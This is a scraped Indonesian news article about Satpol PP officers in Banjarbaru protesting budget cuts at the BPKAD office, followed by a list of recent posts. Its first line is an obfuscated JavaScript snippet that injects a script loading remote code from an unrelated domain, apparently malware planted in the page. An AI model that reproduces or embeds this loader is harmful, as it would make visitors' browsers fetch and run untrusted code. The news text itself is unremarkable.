(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS. Puluhan Petugas Satpol PP Banjarbaru Serbu Kantor BPKAD, Ada Apa?


KANALKALIMANTAN.COM, BANJARBARU – Puluhan petugas Satpol PP Banjarbaru mendatangi kantor Badan Pengelola Keuangan dan Aset Daerah (BPKAD) di Balai Kota Banjarbaru, Rabu (10/3/2021) siang. Kedatangan aparat penegak Perda itu mengeluhkan tentang pemotongan anggaran mereka tahun ini.

Sebagaimana diketahui, pemotongan atau refocusing anggaran di tiap-tiap SKPD lingkup pemerintahan merupakan kebijakan yang diambil oleh pemerintah pusat. Dimana anggaran yang dipangkas tersebut dipergunakan untuk penanganan pandemi Covid-19 serta demi menyukseskan pelaksanaan vaksinasi.

Di Banjarbaru, refocusing anggaran telah ditetapkan sebesar Rp 14 miliar dari total Dana Alokasi Umum (DAU) Tahun 2021 sebesar Rp 425 miliar. Adapun anggaran Rp 14 Miliar yang dipotong itu mayoritasnya adalah kegiatan perjalanan dinas setiap SKPD.

 

Baca juga: KLHK Siapkan 83,37 Miliar untuk Penanganan Pasca Banjir Kalsel

Kasi Linmas Satpol PP Banjarbaru, Rudiansyah Azhar, mengeluhkan bahwa anggaran perjalan dinas menjadi hal yang penting. Sebab khusus di Satpol PP, anggaran perjalanan dinas dipergunakan untuk kegiatan patroli mereka dalam menegakan aturan daerah.

“Kalau itu dipangkas, terus kami makan apa. Anggaran untuk perjalanan dinas ini memang penting bagi kami,” terangnya, kepada Kanalkalimantan.com.

Tak hanya itu saja, Rudi -akrab disapa- juga mengakui bahwa sejak mengawal tahun ini, tak ada insentif yang dicarikan untuk pihaknya. Hal inilah yang membuat Satpol PP Banjarbaru mengeluhkan minimnya anggaran mereka ke Pemko Banjarbaru, khusus di Badan Pengelola Keuangan dan Aset Daerah (BPKAD).

Baca juga: Penataan Kawasan Sekumpul, Tiga Segmen Ditarget Tuntas 2023

“Januari sampai Maret (insentif, red) belum dicairkan. Terus bagaimana kami menjalankan kegiatan patroli kami. Kami hanya bergantung pada anggaran perjalanan daerah itu,” tegasnya.

Menurut informasi, dari hasil pembahasan bersama BPKAD Banjarbaru, anggaran yang dipotong itu rencananya akan diganti saat digelontorkannya anggaran perubahan atau disebut ABT. Namun belum ada penjelasan lebih lanjut terkait hal ini. (Kanalkalimantan.com/rico)

Reporter: rico
Editor: cell


Al Ghifari

Recent Posts

Transaksi Digital Semakin Mudah: BRI dan KAI Luncurkan QRIS di Resto on Train & Loko Cafe

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk (BRI) bersama PT Kereta Api Indonesia (Persero)… Read More

2 jam ago

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

12 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

15 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

16 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

16 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

19 jam ago

This website uses cookies.